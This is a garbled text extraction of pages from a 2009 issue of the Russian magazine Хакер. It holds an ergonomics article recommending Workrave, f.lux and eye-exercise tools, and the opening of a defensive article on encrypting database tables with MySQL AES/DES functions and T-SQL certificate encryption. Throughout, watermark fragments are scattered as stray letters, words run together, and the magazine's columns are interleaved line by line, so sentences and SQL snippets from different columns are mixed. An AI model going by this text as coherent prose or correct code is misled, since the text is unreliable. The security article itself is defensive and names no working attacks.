Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.76 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

pc_zone

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

1) Укажи свой рост:

152

155

157

160

163

165

168

170

173

175

178

180

183

185

188

191

 

 

 

 

 

 

 

Твой рост

 

 

 

 

 

 

 

 

 

 

50-75 cм.

 

 

178 cм.

 

 

 

 

 

 

Уровень глаз при

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работе стоя

 

 

 

Уровень

 

 

 

 

 

 

 

 

 

 

166 см.

 

 

 

глаз

 

 

 

 

 

 

 

 

 

 

 

 

 

 

124 см.

 

 

 

 

 

 

 

 

 

 

Расположения

 

 

 

100 - 200

 

 

 

 

 

 

 

 

логтей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

109 см.

Уровень

логтей

Высота

67 см.

 

кресла

 

44 см.

2) А теперь обустрой свое рабочее место

 

в соответствии с требованиями

 

 

Засвоимрабо-

 

чимместолюди

 

зачастуюпроводят

 

большуючасть

 

дня. Самоевремя

 

задуматьсяобэрго-

ВИТАЛИЙ ТРАВИН

номике

/ VITYA31@MAIL.RU/

КОГДА ТЫСТАНЕШЬСЛЕПЫМ

Этотолькосейчаскажется, чтоздоровьебудетвсегда.

Еслипродолжатьпялитьсявстарыймонитор18 часоввсутки, сидяна кухоннойтабуреткеипожевываягамбургер, здоровьюраноилипозднопридетконец! Иэтоятебеточноговорю.

>> pc_zone

Перспективынесамыерадужные, прав-

да? СработойвIT нереальноизбавитьсяот сидячегообразажизнипередкомпьютером, номожнопостаратьсясвестипоследствия к минимуму.

Воттебетрисовета, какнестатьбольными слепымгиком, укоторогоестьответналюбой вопроспоядруWindows, нонетэлементарногоздоровья.

СДЕЛАЙ ПАУЗУ — СКУШАЙ ТВИКС

Кистевойтуннельныйсиндромзапястья, искривлениепозвоночника, болившее, лишний весимногоедругое— вотугрозыдлятех, кто слишкоммногоработаетзакомпьютером. Ну, илинеработает— этоужкомукакповезет. В любомслучае, увлекшисьреверсингомили иныминтереснымзанятием, можнозалипнуть нанесколькочасовиоставатьсяприэтомпочти

неподвижным. Так, какжебыть? БратьсебеличногоассистентавлицеутилитыWorkrave (http:// www.workrave.org/welcome), котораябудет следитьзатем, чтобытынеперетрудился! Более того— силойзаставитделатьнебольшиепаузы ивыполнятьзарядкудляразныхчастейтела. И понятно, чтотызнатьнезнаешь, какэтусамую зарядкуделать. Тулзасамапокажет, какразмять течаститела, которыепопадаютвобластьриска.

030

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сменатоновмониторавзависимостиот временисутокзаметноснижаетусталость глаз

Внешне прога — небольшое окошко с таймерами. Первый таймер — это время, через которое нужно просто пол минуты передохнуть (микропауза). Второй — сколько осталось до 10-минутного перерыва (обычно он раз в час). И третий — остаток общего рабочего времени. На перерывах можно сделать упражнения для кистей рук и пальцев, для глаз, плеч и шеи. Само собой, работа работе рознь. И один может ходить пить чай хоть раз в полчаса, а у другого, дай Бог, выпадет лишняя минутка, чтобы сгонять по нужде. Поэтому временные интервалы нужно настроить по своему усмотрению. По себе знаю: когда сильно занят, на все эти предупреждения, симпатичные окошки и громкие фразы — становится просто положить. Получается, что, потратив усилия на настройку подобных игрушек, потом перестаешь их замечать. Но Workrave игнорировать себя не даст! В конфиге можно задать, разрешается ли откладывать паузы или нет. В самых тяжелых случаях доступна опция «Блокировать компьютер». И тут уж ничего не поделаешь: либо зарядка, либо ребут :). Если уже просчитал варианты и, хихикая, собираешься переключиться на стоящий рядом ноутбук, знай: ничего не выйдет. Прогу можно установить на несколько компьютеров сразу (хоть под линуксом, хоть под Виндой) и синхронизировать время для упражнений.

СИДЕТЬ НАДО ПРАВИЛЬНО

Рабочееместонужноподогнатьподсебя. Глупоотказыватьсебевхорошемкресле, раз проводишьнанембольшуючастьдня. Дляоптимальногорасположениярук, монитораиглаз применяютсяспециальныеспособырасчета, ноэтополныйизврат. Затоможнопросчитать такиепараметрычерезвеб-сервис Workspace

Planner (internalapps.ergotron.com/MirWebTool/ ergoTool_metric.html) ипостаратьсяучитывать их, обустраиваярабочееместо. Всерасчеты базируютсянаисследованияхеще1988 года, но поводаимневеритьнет. Кстати: всерасчетыпо умолчаниюосуществляютсявдюймах, ноесли присмотреться(надеюсь, созрением, утебяеще всевпорядке?), томожнонайтиссылкудляпереводавметрическиесистемаисчисления.

И не забудь общие правила: верхняя часть монитора должна располагаться на уровне глаз, а клавиатура по высоте должна быть на уровне локтей.

XÀÊÅÐ 04 /124/ 09

Workrave недастзаработатьсяизаставит сделатьпаузу

СПАСИ ГЛАЗА

Неправильноерасположениеэкранамонитора, маленькийшрифт, слишкомсветлый илитемныйэкран— основныепричины хроническойголовнойболиугиков. Обижаясь народителейвдетстве, ты, вероятно, немог понять, почемунельзясмотретьтелевизорв темноте. Светло, темно— какая, блин, разница? Насамомделе, разницаесть! Малокому надообъяснять, какначинаетрезатьглаза посленесколькихчасовпередмониторомв темноте. Самыйверныйспособпомочьсебе— пойтиспать, пославвседелакудаподальше. Здоровье-тодороже. Знаю-знаю: срокигорят, заказчикичто-тотребуют, азавтрауженадо показатьполурабочийвариантновойпрограммыбоссу. Облегчитьстраданияспособна f.lux (www.stereopsis.com/flux). Программа простоизменяетцветовойпрофильмонитора взависимостиотвременисуток. Ночьюглаза меньшеустаютоттеплыхцветовыхтонов, днем— отяркихихолодных. Могусказатьпо собственномуопыту: штукареальноработает! Оподобнойутилитеязадумался, когдаувидел, чтонекоторыемакбукисамиумеютрегулироватьподсветкумониторавзависимостиот освещения(определяетсявстроеннойкамеройилисенсорамивзависимостиотмодели). Казалосьбы, такаяерунда, апомогаеточень здорово. Уf.lux никакихсенсоровнет, поэтому освещенностьонаможетпросчитыватьпо временисуток: дляэтоговнастройкахуказываютсякоординатытвоегоместоположения. АчтобытынелезвсправочникиилиGoogle, тутжедоступнассылканаудобнуюстраничку дляпоискакоординат. Версиипрограммы естькакдляWindows, такLinux иMac OS X.

Глазамнеобходимотдых. Причем— каждые 40-50 минут. Врачамирекомендуетсяцелый рядметодикиупражнений, предназначенных дляотдыхаглаз. Болеетого, разработаныи любопытныепрограммы, которыенапоминают тебе, когдаикакиеупражнениянужноделать. Дляпримера: посмотриEyesKeeper (www. gi.ru/eyeskeeper) — русскоязычный«напоминатель». Внемприведеныупражнениядля отдыхаглаз, разработанныеспециалистами НИИгигиенызрения. Использоватьвсеэто илинет— делотвое. Можнозабитьитихонадеяться, чтоввекгеннойинженерии, клонов инано-технологийможнобудетбезвозмездно скачатьсебеновуюспинуизинтернета, аглазапофикситьпатчем. Номыбырассчитывать наэтонестали:). z

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

 

pc_zone

 

 

 

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

g

.c

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАПРОСЗАШИФРОВАННОГООБЪЕКТА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

АВТОРИЗИРОВАННЫМПОЛЬЗОВАТЕЛЕМ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИХАКЕРОМВСЛУЧАЕПРИМЕНЕНИЯ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАПРОС

 

ШИФРОВАНИЯ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАШИФРОВАННОГО

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОБЪЕКТА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЗА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДАННЫХ

Запрос

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1C

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с проверкой прав

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАПРОС

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЗА

 

ЗАШИФРОВАННОГООБЪЕКТА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗЛОУМЫШЛЕННИКОМ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Запрос

 

 

ДАННЫХ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CRYPTO

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данных

 

Расшифрованные данные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЗА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с помощью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДАННЫХ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ключа пользователя 1С

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1C

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Прав

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

доступа нет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Расшифрованные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЗА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пользователь 1С

 

 

 

ДАННЫХ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Запрос

CRYPTO

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данных

Возврат пустого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

значения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Возврат пустого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

значения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

АНДРЕЙ КОМАРОВ

 

 

Злоумышленник

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/ KOMAROV@ITDEFENCE.RU /

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЗУДАННЫХ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

НЕСТАЩИТЬ!

 

 

 

 

 

 

 

 

 

 

 

 

ПравильныеспособызащититьданныевтаблицахБД

Какжеошибаютсятелюди, которыедоверяютзащитуданныхисключительносамойСУБД. Мол, еслипарольнаподключениехорошийи версиядемона— самаяпоследняя, товсебудетнормально. Ничего подобного. Базыкаксливали, такибудутсливать. Анашазадача— сделатьихнечитаемымидлятех, комуонинепредназначены.

>> pc_zone

Актуальнаяпроблемаизмираинформа-

сотрудник конкурирующей компании. Нахо-

структур. Что из этого вышло, объяснять из-

ционнойбезопасности— обеспечитьсо-

дясь на рабочем местом и будучи технически

лишне. Вообще, имея физический доступ к

хранностьданных. Есть ситуации, в которых

подкованным, он взламывал сервера баз

локальной сети, инсайдер мог поступить го-

даже при наличии серьезной защиты сис-

данных банальным брутфорсом через тер-

раздо проще: атаковать программу, которая

темы, сохранность данных оказывается под

минальное соединение. Базы с клиентами

работает с базой данных. Нередко сценарий

большим вопросом. Как так? Могу привести

«засланец» перепродавал другим компани-

взлома сводится к тому, что из программы

пример из личного опыта, когда в разглаше-

ям, а «интересная» информация о ведении

разными способами извлекаются конфиги

нии информации был виновен засланный

бизнеса отправлялась сотрудникам силовых

для подключения к базе. Захватив ту же 1С,

032

 

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

>> pc_

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

zonew

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которая хранит в себе конфиги подключения

DES_ENCRYPT(), которые считаются наиболее

таблице зашифрованных записей, выполняя

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

к базе (в том числе, шифрованный обычным

надежными в MySQL на текущий момент.

 

привычные SQL-запросы:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XOR’ом пароль), злоумышленник получает

Например, так:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

доступ к самой базе. Особо не стесняясь,

 

 

 

 

 

 

INSERT INTO [БАЗА].[ТАБЛИЦА]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

он может ее выкачать, модифицировать

INSERT INTO t VALUES (1,AES_

values( N'ДАННЫЕ ДЛЯ ЗАШИФРОВКИ',

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

или просто удалить. Такая брешь в защите

ENCRYPT('text','password'));

 

EncryptByCert(Cert_ID('andrej'),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

способна сыграть злую шутку, особенно в

 

 

 

 

 

 

@cleartext) );

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

корпоративной среде.

 

 

Приятно признать, что хорошие программис-

GO

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В статье я как раз хочу рассказать о том,

ты эти функции используют. Часто во время

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как обезопасить информацию в обычной

проведения SQL-инжекции мне приходи-

 

В этом примере неформатированный текст

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

базе данных. Даже если СУБД будет взло-

лось ломать голову и определять функцию,

 

из переменной @cleartext шифруется серти-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мана или левый человек скопирует данные,

которую использовал кодер для крипточки

 

фикатом с именем «andrej». Зашифрованные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

утечки конфиденциальной информации не

данных. В результате, требуется производить

данные помещаются в таблицу «ТАБЛИЦА».

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

произойдет!

 

 

 

те же AES_DECRYPT(AES_ENCRYPT()) наряду

 

Уточню, что данные могут быть расшифро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с unhex(hex()).

 

 

 

 

 

ваны только с помощью соответствующего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ШИФРОВАНИЮ — БЫТЬ!

 

 

 

 

 

 

 

 

закрытого ключа (как уже было сказано,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Общий подход прост до гениального: раз

T-SQL

 

 

 

 

 

«приватного»).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

злоумышленник гипотетически сможет

Помимо симметричного шифрования, когда

 

Имя функции для обратного преобразо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

извлечь данные, надо сделать так, чтобы

упаковка и распаковка текста производятся

 

вания угадать несложно: DecryptByCert().

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

он их не смог прочитать. Информацию

одним и тем же ключом (общим для двух

 

А вот синтаксис более хитер, и с ним все

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

все равно придется хранить в базе, но…

участников обмена сообщениями), поддержи-

чуть сложнее. Дело в том, что на приват-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ничего не мешает хранить ее в каком

вается и ассиметричное криптование. Идея

 

ный ключ, как правило, закладывается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

угодно виде, в том числе зашифрован-

ассиметричных алгоритмов подразумевает

 

дополнительный пароль (passphrase). Его

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ном! Главное, чтобы мы сами потом смог-

наличие двух ключей — открытого и закры-

 

необходимо ввести, и по этой причине он

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ли расшифровать :). Компания Spelabs

того (секретного). Один из них используется

 

обязательно будет присутствовать в коде

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(spellabs.ru/spellabsCrypto1C.htm) как-то

для шифрования информации, а другой —

 

запроса или процедуры. Это не очень хоро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

анонсировала продукт, организующий

для дешифрования. Если кодирование осу-

 

шо, потому что его можно быстро увести. Но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дополнительную безопасность бухгалтер-

ществляется с помощью открытого ключа, то

 

с этим мы разберемся позже, когда пого-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ских 1С на уровне шифрования данных,

расшифровать такие данные можно только с

 

ворим о безопасности хранимых процедур.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

причем на полностью прозрачном уровне.

помощью парного ему закрытого. Предлагаю

А пока — код для извлечения данных из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пользовательские приложения, не подоз-

разобраться с этим на примере Microsoft

 

шифрованной БД:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ревая о надстройке, работали в обычном

SQL Server, который часто используется в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

режиме. Увы, компания прекратила раз-

корпоративных порталах и сложных при-

 

SELECT

convert(nvarchar(max),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работку этого направления. Но реально

ложениях. Для шифрования применяются

 

DecryptByCert(Cert_Id('andrej'),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обойтись и без подобных инструментов,

функции T-SQL, представляющие собой

 

 

ProtectedData,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ведь для шифрования сгодятся даже штат-

специальное дополнение языка SQL. Оно

 

N'pGFD4bb925DGvbd2439587y'))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ные средства СУБД!

 

 

поддерживает управляющие операторы,

 

FROM [БАЗА].[ТАБЛИЦА]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Любая современная СУБД, если это, конечно,

локальные переменные и различные допол-

 

WHERE Description

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не собранная на коленке курсовая, может

нительные функции. Одна из таких функций

 

= N’Employers Access’;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

похвастаться достаточно надежными меха-

— EncryptByCert(), используемая для асси-

 

GO

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

низмами шифрования данных. В той же

метричного шифрования данных с помощью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

самой MySQL я по памяти насчитал около

сертификатов. Открытым ключом тут выступа-

В этом примере производится выбор-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

14 соответствующих функций, которые тебе

ет сертификат. Только откуда этот сертификат

ка строк из таблицы [БАЗА].[ТАБЛИЦА],

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

наверняка хорошо известны:

 

 

взять? Ответ прост — сгенерировать с помо-

 

помеченных как «Employers Access».

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щью другой специальной функции. Покажу

 

Пример дешифрует зашифрованный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

AES_ENCRYPT() Шифрование AES

на примере, как можно сгенерировать сер-

 

текст с помощью закрытого ключа сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

AES_DECRYPT() Расшифровка AES

тификат с именем для andrej базы «Bank» с

 

тификата «Andrej» и дополнительно-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

COMPRESS()

Возвращение резуль-

помощью хранимой процедуры:

 

 

го пароля pGFD4bb925DGvbd2439587y.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тата в бинарном виде

 

 

 

 

 

 

 

 

Расшифрованные данные преобразуются

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DES_ENCRYPT() Шифрование DES

USE Bank;

 

 

 

 

 

из типа varbinary в тип nvarchar.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DES_DECRYPT() Дешифрование DES

CREATE CERTIFICATE andrej

 

